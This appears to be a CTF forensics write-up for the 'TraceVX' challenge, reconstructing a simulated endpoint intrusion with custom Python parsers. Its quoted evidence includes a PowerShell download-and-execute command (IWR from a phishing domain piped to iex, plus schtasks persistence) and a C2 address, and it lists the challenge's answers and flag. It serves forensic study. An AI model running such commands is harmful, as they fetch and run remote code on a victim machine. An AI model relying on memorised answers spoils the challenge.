Skip to content
Adam Omar Saleh

TVX CTF 2026 placeholder badge (unofficial)TVX CTF 2026Forensics

TraceVX

An FTK logical image of a compromised endpoint and a question service. The goal is to reconstruct the real intrusion (entry, execution, persistence and exfiltration) among planted decoys.

Competition
TVX CTF 2026 placeholder badge (unofficial)TVX CTF 2026
Category
ForensicsHard · estimated
Source status
Confirmed by challenge service · recorded in source
Document
PDF edition10 min read

Brief

The challenge

Competition
TVX CTF 2026
Category
Digital Forensics (platform category: DFIR)
Difficulty
Hard — estimated, not an official rating
Points
100
Solves
85 on the challenge card when captured
Challenge author
Ahmed Alwedyan
Verification
Confirmed by the challenge service (recorded in source)

Difficulty: Hard (estimated). TVX CTF 2026 did not publish difficulty ratings; the challenge cards show only points and solve counts. A full intrusion reconstruction across ten questions with two attempts each: a custom AD1 parser had to be written, and the answers span browser history, XOR-obfuscated data, PowerShell logs, prefetch, USN, $MFT, carved PEs, scheduled tasks and SRUM, surrounded by decoy intrusions. The card showed 85 solves when captured.

01

Overview

At 14:32 on 17 September 2026, the endpoint WIN-TRACE-01 was compromised. The operator was careful: a file staged and wiped within seconds, a payload that never sat on disk under a name you could search for, and traffic blended into a busy machine's everyday noise. [...] Reconstruct the intrusion end to end — entry, execution, persistence, exfiltration — then report to the duty analyst to close the case.

Challenge page
Challenge page

An FTK logical image of a compromised endpoint and a question service. The goal is to reconstruct the real intrusion (entry, execution, persistence and exfiltration) among planted decoys.

Solution path in brief

The AD1 image holds five user profiles stuffed with filler files plus a handful of decoy "intrusions" (Guest helper.exe, ITAdmin AuditRepair.exe). Lining the artifacts up on 2026-09-17 14:31–14:32 UTC isolates the real one:

Text
phish click (Edge history, XOR'd URL cache) → PowerShell IWR|iex (EID 4104, prefetch)  → stage.cmdline created/deleted (USN) → Navigator.exe dropped (USN/$MFT)  → TraceTelemetry logon task → C2 185.192.48.239:443 (carved PE + SRUM) → 8 MiB out

02

Initial investigation

With no AD1 tooling available, the first job was to get the files out of the image.

Opening the AD1

No AD1 tooling was installed, so I wrote a small parser (ad1extract.py) for the FTK logical image format: a 512-byte segment header, then the ADLOGICALIMAGE header, then a linked list of items (next, first_child, metadata, zlib_data, size, type, name). File contents are stored as zlib chunks behind a chunk-offset table. The script rebuilds the tree under fs/ and writes listing.tsv with MAC times.

About 1,350 items came out. Almost everything is noise (cache_NNNN.log, budget_1234.csv, ...) with a 2026-10-05 timestamp. The interesting files are the ones touched on 2026-10-12. C:\ProgramData\TraceCache\README.txt lists them:

Text
Native binary artifacts: disk.img (raw, carvable), SRUDB.sqlite (ESE->SQLite),$MFT.bin (UTF-16 paths), *.jsonl.gz (event logs), *.pf (prefetch),url_reputation.bin (XOR).

03

Tools used

  • Custom Python AD1 parser (ad1extract.py)

  • Python sqlite3 for SRUM (srum.py) and helper scripts (inspect.py)

  • Single-byte XOR brute force, gzip signature carving, SHA-256

  • Python socket client for the question service (solve.py)

04

Step-by-step process

Step 1: Entry: the phishing click (Q1–Q3)

Ahmed's Edge history (History.txt and History.jsonl.gz) ends with a redirect chain:

Text
2026-09-17T14:31:12Z https://cutt.ly/ms-portal-login2026-09-17T14:31:38Z https://t2m.io/r/8fJ2qA2026-09-17T14:31:51Z https://xn--login-microsoftnline-8sb.secure-verify.cc/auth/signin?src=mail

Security.evtx.jsonl.gz has an EID 4624 logon for Ahmed at exactly 14:31:51Z, so Ahmed is patient zero.

Q2 asks for the host "not stored in cleartext". Defender\Support\url_reputation.bin is TVXURLv1\0 followed by a blob. A single-byte XOR brute force finds key 0x98:

Text
https://login-microsoftonline.secure-verify.cc/auth/signin
  • Q1: Ahmed

  • Q2: login-microsoftonline.secure-verify.cc

  • Q3: 2026-09-17T14:31:51Z

Step 2: Execution and staging (Q4–Q5)

PowerShell-Operational.evtx.jsonl.gz has one script-block entry that isn't part of the 10:00:00 baseline:

JSON
{"ts": "2026-09-17T14:32:18Z", "EventID": 4104, "user": "Ahmed", "script": "IWR hxxps://xn--login-microsoftnline-8sb.secure-verify.cc/a | iex ; schtasks /create /tn TraceTelemetry"}

Prefetch\POWERSHELL.EXE-9A3B.pf (UTF-16) confirms it: FirstRun=2026-09-17 14:32:18;Runs=1;User=Ahmed.

The USN journal ($UsnJrnl.jsonl.gz) and $MFT.bin show the staging file being created and then wiped 7 seconds later:

Text
14:32:20 CREATE C:\Users\Ahmed\AppData\Local\Temp\k29x8\stage.cmdline14:32:27 DELETE C:\Users\Ahmed\AppData\Local\Temp\k29x8\stage.cmdline14:32:31 CREATE C:\ProgramData\Microsoft\UpdateCache\UpdaterService.exe   ($MFT only)14:32:36 CREATE C:\ProgramData\Microsoft\UpdateCache\Navigator.exe
  • Q4: powershell.exe

  • Q5: stage.cmdline

Step 3: The dropped binary (Q6–Q7)

disk.img is 2 MiB of random filler behind a fake MSDOS5.0 boot sector. A signature scan finds two gzip streams:

OffsetDecompressed content
0x120000MZ benign updater stub / CompanyName=Acme / harmless (decoy)
0x4d000PE with OriginalFilename=NavigatorCore.dll, C2=185.192.48.239:443, Account=Ahmed

The real payload is in carved/blob_4d000.bin (4,346 bytes):

Text
SHA-256 = 411ff3850c2ed96028e4f39184fed07c3fdacf56936e03581ce479c6ed7ab8cd

Q6 asks for the filename of the dropped binary. The service rejected the PE's internal name NavigatorCore.dll (even though the hint mentions it) and accepted the name it was dropped under, which is also what the scheduled task runs.

  • Q6: Navigator.exe

  • Q7: 411ff3850c2ed96028e4f39184fed07c3fdacf56936e03581ce479c6ed7ab8cd

Step 4: Persistence (Q8)

C:\Windows\System32\Tasks\TraceTelemetry.xml:

XML
<Date>2026-09-17T14:32:40Z</Date><Author>Ahmed</Author><LogonTrigger><UserId>WIN-TRACE-01\Ahmed</UserId></LogonTrigger><Command>C:\ProgramData\Microsoft\UpdateCache\Navigator.exe</Command>

It was registered four seconds after the drop, which matches the schtasks /create /tn TraceTelemetry in the 4104 event. The other tasks are either legitimate updaters or decoys (Guest_MediaSync → helper.exe).

  • Q8: TraceTelemetry

Step 5: C2 and exfiltration (Q9–Q10)

SRUDB.sqlite has a single network_usage table with 605 rows. 185.192.48.239 shows up constantly in normal browser, Teams and OneDrive traffic (that's the "blended into everyday noise" part), so filtering by IP alone doesn't work. Filtering by non-standard apps under Ahmed does:

Text
2026-09-17T14:31:51Z Ahmed Navigator.exe      185.192.48.239:443 outbound 52428802026-09-17T15:48:02Z Ahmed AdaptConductor.exe 185.192.48.239:443 outbound 31457282026-09-17T16:10:11Z Ahmed Navigator.exe      185.192.48.239:443 inbound  1432290

Normal app rows never go above ~900 KB. The two malicious outbound transfers add up to 5,242,880 + 3,145,728 = 8,388,608 bytes, exactly 8 MiB (the flag's 8MiB). AdaptConductor.exe (unsigned, invalid Authenticode, sitting in ProgramData\AcmeUpdate\cache) is the second-stage component the operator ran under Ahmed's identity.

The decoys go elsewhere: Guest helper.exe → 203.0.113.77:8080 and ITAdmin AuditRepair.exe → 198.51.100.44:53.

  • Q9: 185.192.48.239:443

  • Q10: 8388608

05

Commands and code

Solve script

solve.py connects to the service and replays answers.txt one line per question:

Text
Ahmedlogin-microsoftonline.secure-verify.cc2026-09-17T14:31:51Zpowershell.exestage.cmdlineNavigator.exe411ff3850c2ed96028e4f39184fed07c3fdacf56936e03581ce479c6ed7ab8cdTraceTelemetry185.192.48.239:4438388608
Text
[ 10/10 ]  tracevxQ10 TOTAL bytes exfiltrated (OUTBOUND) to the C2?answer> 8388608[+] CONFIRMED.​  All findings confirmed. Clean work, analyst.  FLAG: TVX{Ahmed@WIN-TRACE-01_TraceTelemetry-185.192.48.239_8MiB_411ff385}

Other helpers in this folder: ad1extract.py (AD1 → fs/), inspect.py ($MFT strings, SRUM checks), srum.py (C2 traffic filter).

Full source: ad1extract.py: FTK AD1 logical image extractor

Python
import os, struct, sys, zlib​SRC = sys.argv[1] if len(sys.argv) > 1 else "traceVX.ad1"OUT = sys.argv[2] if len(sys.argv) > 2 else "fs"BASE = 0x200​data = open(SRC, "rb").read()​​def u32(o):    return struct.unpack_from("<I", data, BASE + o)[0]​​def u64(o):    return struct.unpack_from("<Q", data, BASE + o)[0]​​def raw(o, n):    return data[BASE + o: BASE + o + n]​​def read_meta(addr):    out = []    while addr:        nxt = u64(addr)        cat, key, ln = struct.unpack_from("<III", data, BASE + addr + 8)        out.append((cat, key, raw(addr + 20, ln)))        addr = nxt    return out​​def read_content(zaddr, size):    if not zaddr or not size:        return b""    n = u64(zaddr)    addrs = [u64(zaddr + 8 + 8 * i) for i in range(n + 1)]    buf = b"".join(zlib.decompress(raw(addrs[i], addrs[i + 1] - addrs[i])) for i in range(n))    return buf[:size]​​listing = []​​def walk(addr, path):    while addr:        nxt, child, meta, zaddr, size = struct.unpack_from("<QQQQQ", data, BASE + addr)        itype, nlen = struct.unpack_from("<II", data, BASE + addr + 40)        name = raw(addr + 48, nlen).decode("utf-8", "replace")        p = os.path.join(path, name.replace(":", "_"))        md = read_meta(meta)        ts = {k: v.decode("latin1") for c, k, v in md if c == 5}        listing.append((itype, size, ts.get(7, ""), ts.get(8, ""), ts.get(9, ""), p))        if itype == 5:            os.makedirs(p, exist_ok=True)        else:            os.makedirs(os.path.dirname(p), exist_ok=True)            with open(p, "wb") as f:                f.write(read_content(zaddr, size))        if child:            walk(child, p)        addr = nxt​​walk(u64(0x24), OUT)with open("listing.tsv", "w", encoding="utf-8") as f:    f.write("type\tsize\taccessed\tcreated\tmodified\tpath\n")    for r in listing:        f.write("\t".join(map(str, r)) + "\n")print(len(listing), "items")

Full source: srum.py: isolate C2 traffic

Python
import sqlite3​c = sqlite3.connect("fs/image/C/Windows/System32/sru/SRUDB.sqlite")noise = ("teams.exe", "chrome.exe", "msedge.exe", "onedrive.exe", "TelemetryHost.exe")rows = c.execute("select * from network_usage where remote_ip='185.192.48.239' order by ts").fetchall()for r in rows:    if r[0].startswith("2026-09-17") or r[1] == "Ahmed" or r[2] not in noise:        print(r)print(c.execute("select direction,count(*),sum(bytes) from network_usage where remote_ip='185.192.48.239' and remote_port=443 group by 1").fetchall())print(c.execute(f"select min(bytes),max(bytes) from network_usage where app in {noise}").fetchall())

Full source: solve.py: replay answers to the service

Python
import socket, sys, time​HOST, PORT = "169.58.174.26", 1337answers = [l.rstrip("\n") for l in open("answers.txt", encoding="utf-8")] if len(sys.argv) < 2 else sys.argv[1:]​​def recv_all(s, wait=5.0):    s.settimeout(wait)    buf = b""    while True:        try:            chunk = s.recv(4096)        except socket.timeout:            break        if not chunk:            break        buf += chunk    return buf.decode("utf-8", "replace")​​s = socket.create_connection((HOST, PORT), timeout=10)print(recv_all(s), end="")for a in answers:    print(f"\n>>> {a}")    s.sendall(a.encode() + b"\n")    print(recv_all(s), end="")

06

Technical explanation

The case is solved by pivoting on time. The Edge redirect chain, the 4624 logon, the PowerShell 4104 script block, the prefetch entry, the USN create/delete of stage.cmdline and the scheduled task all fall within 14:31:51–14:32:40 UTC. The C2 address also appears in normal traffic, so the exfiltration is isolated by unusual process names for the compromised user in SRUM, not by IP.

Key lessons

  • With a lot of decoys around, pivot on the exact minute: the 4624 logon, the last Edge visit, the 4104 script block and the USN entries all fall within 14:31:51–14:32:40.

  • An IP that also shows up in normal traffic isn't the signal by itself. Unusual process names per user in SRUM are what separate the C2 traffic from the noise.

  • "Hash the carved file" means the decompressed payload, not the gzip stream. Check for a decoy blob too.

  • When a question says "filename of the dropped binary", the answer can be the on-disk name rather than the PE's OriginalFilename.

07

Flag

Flag

TVX{Ahmed@WIN-TRACE-01_TraceTelemetry-185.192.48.239_8MiB_411ff385}

Confirmed by challenge service · recorded in source

08

Verification status

Status: Confirmed by the challenge service (recorded in source).

The challenge service validated each of the ten answers and printed “All findings confirmed” with the flag; that transcript is reproduced in the source. Scoreboard acceptance is not separately documented.

Source evidence in the archive: WRITEUP.md, ad1extract.py, srum.py, inspect.py, solve.py, answers.txt, carved/blob_4d000.bin (hash only), images/00_challenge.png, images/01_challenge_connection.png.

09

Conclusion

The most complete DFIR case in the set. Every answer was confirmed by the service, and the method (anchor on the minute, then filter by process) generalises well.

Prepared by Adam Omar Saleh from the archived solve notes in tracevx/. Commands, code, output and screenshots are reproduced from the source; no results were added. Difficulty is an estimate.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 7 pages.